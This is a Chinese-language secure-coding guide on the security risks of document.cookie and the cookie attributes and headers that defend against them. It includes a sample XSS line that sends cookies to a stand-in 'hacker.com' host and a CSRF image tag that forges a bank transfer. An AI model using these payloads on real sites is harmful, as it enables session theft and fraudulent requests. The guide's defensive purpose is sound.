document.cookie 是 JavaScript 操作浏览器 Cookie 的主要接口,但其使用存在多项安全隐患,以下是关键安全问题及解决方案:


1. XSS(跨站脚本)攻击风险

问题

恶意脚本可通过 document.cookie 直接窃取用户 Cookie:

// 攻击者注入的恶意代码
fetch('https://hacker.com/steal?data=' + document.cookie);

防御措施

  • 启用 HttpOnly
    禁止 JavaScript 读取敏感 Cookie:
    Set-Cookie: sessionId=abc123; HttpOnly
  • 内容安全策略(CSP)
    阻止非法脚本执行:
    <meta http-equiv="Content-Security-Policy" content="default-src 'self'">

2. CSRF(跨站请求伪造)攻击

问题

攻击者诱导用户访问恶意页面,利用浏览器自动携带 Cookie 的特性伪造请求:

<!-- 恶意网站构造的请求 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">

防御措施

  • SameSite 属性
    限制跨站 Cookie 发送:
    Set-Cookie: sessionId=abc123; SameSite=Strict
    • Strict:完全禁止跨站携带
    • Lax:允许安全方法(GET)的顶级导航
  • CSRF Token
    服务端生成随机的 Token 并验证:
    <form action="/transfer" method="POST">
      <input type="hidden" name="_csrf" value="随机Token">
    </form>

3. 信息泄露风险

问题

  • Cookie 默认以明文存储,可能被中间人攻击(MITM)截获
  • 敏感信息(如用户ID)直接存于 Cookie 可能被篡改

防御措施

  • 强制 HTTPS + Secure 属性
    仅通过加密通道传输:
    Set-Cookie: sessionId=abc123; Secure
  • 加密敏感数据
    服务端对 Cookie 值加密:
    // 服务端示例(Node.js)
    const encrypted = encryptAES(JSON.stringify({ userId: 123 }));
    res.setHeader('Set-Cookie', `data=${encrypted}; Secure; HttpOnly`);

4. 过长的 Cookie 导致性能问题

问题

  • 浏览器对每个域名 Cookie 有 4KB 限制
  • 每次请求都会自动携带所有 Cookie,影响网络性能

优化方案

  • 精简 Cookie 数量
    合并多个 Cookie 为单个 JSON 字符串
  • 使用 localStorage
    非敏感数据改用本地存储:
    localStorage.setItem('preferences', JSON.stringify({ theme: 'dark' }));

5. 子域名安全漏洞

问题

默认情况下,Cookie 对子域名可见:

Set-Cookie: sessionId=abc123; Domain=example.com
  • app1.example.comapp2.example.com 共享该 Cookie
  • 若某个子站存在 XSS 漏洞,会危及主站

解决方案

  • 明确限定域名范围
    Set-Cookie: sessionId=abc123; Domain=app1.example.com
  • 关键服务使用独立域名
    如认证服务使用 auth.example.com

6. Cookie 劫持(中间人攻击)

问题

公共 Wi-Fi 下未加密的 Cookie 可能被嗅探

防御措施

  • 全站 HTTPS
    配合 HSTS 强制加密:
    Strict-Transport-Security: max-age=63072000; includeSubDomains
  • 定期更换 Session ID
    减少有效期的暴露时间:
    Set-Cookie: sessionId=new456; Max-Age=3600

安全配置最佳实践

// 终极安全 Cookie 配置示例
Set-Cookie: 
  token=encryptedData;
  HttpOnly;          // 防XSS
  Secure;            // 仅HTTPS
  SameSite=Strict;   // 防CSRF
  Domain=example.com;
  Path=/;
  Max-Age=3600;      // 有限有效期

现代替代方案

场景 推荐方案 优点
身份认证 JWT + HTTP Only Cookie 服务端无需存储 Session
客户端状态存储 localStorage/sessionStorage 不自动随请求发送
跨站数据共享 自定义 Header + CORS 精准控制访问权限

总结

document.cookie 的安全风险主要源于:

  1. 默认暴露给 JavaScript(需 HttpOnly
  2. 自动跨站携带(需 SameSite
  3. 明文传输(需 Secure + HTTPS)
  4. 无数据保护机制(需加密)

实际开发中应:

  • 最小化 Cookie 使用范围
  • 启用所有安全属性
  • 敏感数据存服务端而非 Cookie
  • 定期审计 Cookie 使用情况